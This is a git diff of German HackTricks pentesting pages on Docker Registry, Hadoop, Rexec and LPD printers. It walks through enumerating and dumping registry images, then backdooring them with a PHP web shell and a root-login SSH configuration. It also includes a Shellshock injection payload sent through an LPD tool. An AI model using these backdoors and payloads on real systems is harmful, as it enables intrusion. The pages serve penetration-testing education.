* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
Ein Speicher- und Verteilungssystem namens **Docker-Registry** ist für Docker-Images vorhanden, die benannt sind und in mehreren Versionen vorliegen können, die durch Tags unterschieden werden. Diese Images sind in **Docker-Repositories** im Registry organisiert, wobei jedes Repository verschiedene Versionen eines bestimmten Images speichert. Die bereitgestellte Funktionalität ermöglicht es, Bilder lokal herunterzuladen oder in das Registry hochzuladen, vorausgesetzt, der Benutzer verfügt über die erforderlichen Berechtigungen.
Ein Speicher- und Verteilungssystem, bekannt als **Docker-Registry**, ist für Docker-Images vorhanden, die benannt sind und in mehreren Versionen vorliegen können, die durch Tags unterschieden werden. Diese Images sind innerhalb von **Docker-Repositories** in der Registry organisiert, wobei jedes Repository verschiedene Versionen eines bestimmten Images speichert. Die bereitgestellte Funktionalität ermöglicht es, Images lokal herunterzuladen oder in die Registry hochzuladen, vorausgesetzt, der Benutzer hat die erforderlichen Berechtigungen.
**DockerHub** dient als Standard-Public-Registry für Docker, aber Benutzer haben auch die Möglichkeit, eine lokale Version des Open-Source-Docker-Registry/-Distribution zu betreiben oder sich für das kommerziell unterstützte **Docker Trusted Registry** zu entscheiden. Darüber hinaus sind verschiedene andere öffentliche Registrierungen online verfügbar.
**DockerHub** dient als die standardmäßige öffentliche Registry für Docker, aber Benutzer haben auch die Möglichkeit, eine lokale Version der Open-Source-Docker-Registry/Distribution zu betreiben oder sich für die kommerziell unterstützte **Docker Trusted Registry** zu entscheiden. Darüber hinaus sind verschiedene andere öffentliche Registries online zu finden.
Um ein Bild aus einem lokalen Registry herunterzuladen, wird der folgende Befehl verwendet:
Um ein Image von einer lokalen Registry herunterzuladen, wird der folgende Befehl verwendet:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
Dieser Befehl ruft das `foo/bar`-Bild in der Version `2.1` aus dem On-Premise-Register unter der Domain `my-registry` auf Port `9000` ab. Um das gleiche Bild von DockerHub herunterzuladen, insbesondere wenn `2.1` die neueste Version ist, vereinfacht sich der Befehl zu:
Dieser Befehl ruft das `foo/bar`-Image in der Version `2.1` aus dem lokalen Registry unter der Domain `my-registry` auf Port `9000` ab. Umgekehrt vereinfacht sich der Befehl zum Herunterladen desselben Images von DockerHub, insbesondere wenn `2.1` die neueste Version ist, zu:
```bash
docker pull foo/bar
```
@ -35,20 +36,20 @@ PORT STATE SERVICE VERSION
```
## Entdeckung
Der einfachste Weg, um diesen Dienst zu entdecken, ist es, ihn in der Ausgabe von nmap zu finden. Beachten Sie jedoch, dass es sich um einen auf HTTP basierenden Dienst handeln kann, der sich hinter HTTP-Proxies befindet und von nmap nicht erkannt wird.\
Der einfachste Weg, diesen Dienst zu entdecken, besteht darin, ihn im Output von nmap zu finden. Beachten Sie jedoch, dass es sich um einen HTTP-basierten Dienst handelt, der hinter HTTP-Proxys stehen kann, und nmap wird ihn nicht erkennen.\
Einige Fingerabdrücke:
- Wenn Sie auf `/` zugreifen, wird in der Antwort nichts zurückgegeben
- Wenn Sie auf `/v2/` zugreifen, wird `{}` zurückgegeben
- Wenn Sie auf `/v2/_catalog` zugreifen, erhalten Sie möglicherweise:
- `{"repositories":["alpine","ubuntu"]}`
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
* Wenn Sie auf `/` zugreifen, wird nichts in der Antwort zurückgegeben
* Wenn Sie auf `/v2/` zugreifen, wird `{}` zurückgegeben
* Wenn Sie auf `/v2/_catalog` zugreifen, können Sie Folgendes erhalten:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
## Aufzählung
### HTTP/HTTPS
Das Docker-Register kann so konfiguriert sein, dass es **HTTP** oder **HTTPS** verwendet. Daher ist das erste, was Sie tun müssen, herauszufinden, **welches davon** konfiguriert ist:
Docker-Registry kann so konfiguriert werden, dass **HTTP** oder **HTTPS** verwendet wird. Daher ist das erste, was Sie tun müssen, **herauszufinden, welches** konfiguriert ist:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
@ -59,9 +60,9 @@ Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### Authentifizierung
### Authentication
Ein Docker-Registry kann auch so konfiguriert werden, dass **Authentifizierung** erforderlich ist:
Docker-Registry kann auch so konfiguriert werden, dass **Authentifizierung** erforderlich ist:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
@ -69,13 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
Wenn das Docker-Register eine Authentifizierung erfordert, können Sie versuchen, es mit dieser Methode zu brute-forcen. Wenn Sie gültige Anmeldeinformationen finden, müssen Sie sie verwenden, um das Register aufzulisten, in `curl` können Sie sie wie folgt verwenden:
Wenn das Docker-Registry eine Authentifizierung erfordert, kannst du [**versuchen, es mit Brute Force zu knacken**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Wenn du gültige Anmeldeinformationen findest, musst du sie verwenden**, um das Registry zu enumerieren. In `curl` kannst du sie so verwenden:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### Enumeration mit DockerRegistryGrabber
### Enumeration using DockerRegistryGrabber
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) ist ein Python-Tool zum Auflisten / Dumpen des Docker-Registers (ohne oder mit grundlegender Authentifizierung)
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) ist ein Python-Tool zur Enumeration / zum Dumpen von Docker-Registries (ohne oder mit grundlegender Authentifizierung)
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
@ -149,9 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### Auflistung mit curl
### Enumeration using curl
Sobald Sie **Zugriff auf das Docker-Register erhalten haben**, können Sie folgende Befehle verwenden, um es aufzulisten:
Sobald Sie **Zugriff auf das Docker-Registry erhalten haben**, sind hier einige Befehle, die Sie zur Enumeration verwenden können:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
@ -215,10 +217,10 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
Beachten Sie, dass beim Herunterladen und Entpacken der Blobs-Dateien und -Ordner im aktuellen Verzeichnis erscheinen. **Wenn Sie alle Blobs herunterladen und im selben Ordner entpacken, überschreiben sie Werte aus zuvor entpackten Blobs**, also seien Sie vorsichtig. Es kann interessant sein, jeden Blob in einem anderen Ordner zu entpacken, um den genauen Inhalt jedes Blobs zu überprüfen.
Beachten Sie, dass beim Herunterladen und Dekomprimieren die Blob-Dateien und -Ordner im aktuellen Verzeichnis erscheinen. **Wenn Sie alle Blobs herunterladen und sie im selben Ordner dekomprimieren, werden die Werte der zuvor dekomprimierten Blobs überschrieben**, seien Sie also vorsichtig. Es kann interessant sein, jeden Blob in einem anderen Ordner zu dekomprimieren, um den genauen Inhalt jedes Blobs zu inspizieren.
{% endhint %}
### Enumeration mit Docker
### Enumeration using docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
@ -237,16 +239,18 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### Backdooring WordPress-Abbild
### Backdooring WordPress image
In dem Szenario, in dem Sie ein Docker-Registry gefunden haben, das ein WordPress-Abbild speichert, können Sie es backdooren.\
**Erstellen** Sie die **Hintertür**:
In dem Szenario, in dem Sie ein Docker-Registry gefunden haben, das ein WordPress-Image speichert, können Sie es mit einem Backdoor versehen.\
**Erstellen** Sie die **Backdoor**:
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
Erstellen Sie ein **Dockerfile**:
{% endcode %}
Erstellen Sie eine **Dockerfile**:
{% code title="Dockerfile" %}
```bash
@ -265,8 +269,8 @@ docker push registry:5000/wordpress #Push it
```
### Backdooring SSH-Server-Image
Angenommen, Sie haben ein Docker-Registry mit einem SSH-Image gefunden und möchten es backdooren.\
**Laden** Sie das Image herunter und **führen** Sie es aus:
Angenommen, Sie haben ein Docker-Registry mit einem SSH-Image gefunden und möchten es mit einem Hintertür versehen.\
**Laden Sie** das Image herunter und **führen Sie** es aus:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
@ -275,9 +279,9 @@ Extrahiere die `sshd_config`-Datei aus dem SSH-Image:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
Und ändern Sie es auf: `PermitRootLogin yes`
Und ändern Sie es, um festzulegen: `PermitRootLogin yes`
Erstellen Sie ein **Dockerfile** wie das folgende:
Erstellen Sie eine **Dockerfile** wie die folgende:
{% tabs %}
{% tab title="Dockerfile" %}
@ -299,16 +303,17 @@ docker push registry:5000/sshd-docker-cli #Push it
## Referenzen
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
# **Grundlegende Informationen**
# **Grundinformationen**
**Apache Hadoop** ist ein **Open-Source-Framework** für **verteilte Speicherung und Verarbeitung** großer Datensätze in **Computerclustern**. Es verwendet **HDFS** für die Speicherung und **MapReduce** für die Verarbeitung.
**Apache Hadoop** ist ein **Open-Source-Framework** für **verteilte Speicherung und Verarbeitung** von **großen Datensätzen** über **Computercluster**. Es verwendet **HDFS** zur Speicherung und **MapReduce** zur Verarbeitung.
Leider fehlt Hadoop zum Zeitpunkt der Dokumentation die Unterstützung im Metasploit-Framework. Sie können jedoch die folgenden **Nmap-Skripte** verwenden, um Hadoop-Dienste aufzulisten:
Leider fehlt Hadoop zum Zeitpunkt der Dokumentation die Unterstützung im Metasploit-Framework. Du kannst jedoch die folgenden **Nmap-Skripte** verwenden, um Hadoop-Dienste zu enumerieren:
- **`hadoop-jobtracker-info (Port 50030)`**
- **`hadoop-tasktracker-info (Port 50060)`**
@ -26,18 +27,19 @@ Leider fehlt Hadoop zum Zeitpunkt der Dokumentation die Unterstützung im Metasp
- **`hadoop-secondary-namenode-info (Port 50090)`**
Es ist wichtig zu beachten, dass **Hadoop in seiner Standardkonfiguration ohne Authentifizierung arbeitet**. Es stehen jedoch Konfigurationen zur Verfügung, um Kerberos mit HDFS, YARN und MapReduce-Diensten zu integrieren.
Es ist wichtig zu beachten, dass **Hadoop in seiner Standardkonfiguration ohne Authentifizierung arbeitet**. Für verbesserte Sicherheit sind jedoch Konfigurationen verfügbar, um Kerberos mit HDFS, YARN und MapReduce-Diensten zu integrieren.
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,40 +1,42 @@
# 512 - Pentesting Rexec
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
Es handelt sich um einen Dienst, der es Ihnen ermöglicht, einen Befehl innerhalb eines Hosts auszuführen, wenn Sie gültige Anmeldeinformationen (Benutzername und Passwort) kennen.
Es ist ein Dienst, der **es Ihnen ermöglicht, einen Befehl innerhalb eines Hosts auszuführen**, wenn Sie gültige **Anmeldeinformationen** (Benutzername und Passwort) kennen.
**Standardport:** 512
```
PORT STATE SERVICE
512/tcp open exec
```
### [**Brute-Force**](../generic-methodologies-and-resources/brute-force.md#rexec)
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **Einführung in das LPD-Protokoll**
In den 1980er Jahren wurde das **Line Printer Daemon (LPD)-Protokoll** in Berkeley Unix entwickelt, das später durch RFC1179 formalisiert wurde. Dieses Protokoll arbeitet über den Port 515/tcp und ermöglicht Interaktionen über den Befehl `lpr`. Das Wesentliche beim Drucken über LPD besteht darin, eine **Kontrolldatei** (um Jobdetails und Benutzer festzulegen) zusammen mit einer **Datendatei** (die die Druckinformationen enthält) zu senden. Während die Kontrolldatei die Auswahl verschiedener Dateiformate für die Datendatei ermöglicht, wird die Handhabung dieser Dateien durch die spezifische LPD-Implementierung bestimmt. Eine weit verbreitete Implementierung für Unix-ähnliche Systeme ist **LPRng**. Beachtenswert ist, dass das LPD-Protokoll ausgenutzt werden kann, um **bösartige PostScript**- oder **PJL-Druckaufträge** auszuführen.
In den 1980er Jahren wurde das **Line Printer Daemon (LPD) Protokoll** in Berkeley Unix entwickelt, das später durch RFC1179 formalisiert wurde. Dieses Protokoll arbeitet über den Port 515/tcp und ermöglicht Interaktionen über den `lpr` Befehl. Das Wesentliche des Druckens über LPD besteht darin, eine **Steuerdatei** (um Auftragsdetails und Benutzer anzugeben) zusammen mit einer **Daten-Datei** (die die Druckinformationen enthält) zu senden. Während die Steuerdatei die Auswahl von **verschiedenen Dateiformaten** für die Daten-Datei ermöglicht, wird die Handhabung dieser Dateien durch die spezifische LPD-Implementierung bestimmt. Eine weithin anerkannte Implementierung für Unix-ähnliche Systeme ist **LPRng**. Bemerkenswerterweise kann das LPD-Protokoll ausgenutzt werden, um **bösartigen PostScript** oder **PJL-Druckaufträge** auszuführen.
### **Tools zur Interaktion mit LPD-Druckern**
### **Werkzeuge zur Interaktion mit LPD-Druckern**
[**PRET**](https://github.com/RUB-NDS/PRET) stellt zwei wesentliche Tools vor, `lpdprint` und `lpdtest`, die eine einfache Methode zur Interaktion mit LPD-kompatiblen Druckern bieten. Mit diesen Tools können verschiedene Aktionen durchgeführt werden, vom Drucken von Daten bis zur Manipulation von Dateien auf dem Drucker, wie z.B. Herunterladen, Hochladen oder Löschen:
[**PRET**](https://github.com/RUB-NDS/PRET) führt zwei wesentliche Werkzeuge ein, `lpdprint` und `lpdtest`, die eine einfache Methode zur Interaktion mit LPD-kompatiblen Druckern bieten. Diese Werkzeuge ermöglichen eine Reihe von Aktionen, vom Drucken von Daten bis hin zur Manipulation von Dateien auf dem Drucker, wie z.B. Herunterladen, Hochladen oder Löschen:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Für Personen, die sich weiterhin für das Hacken von Druckern interessieren, finden Sie hier eine umfassende Ressource: [Hacking Printers](http://hacking-printers.net/wiki/index.php/Main_Page).
Für Personen, die sich weiter mit dem Thema **Drucker-Hacking** beschäftigen möchten, ist hier eine umfassende Ressource zu finden: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `Port 515`
* `port 515`
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
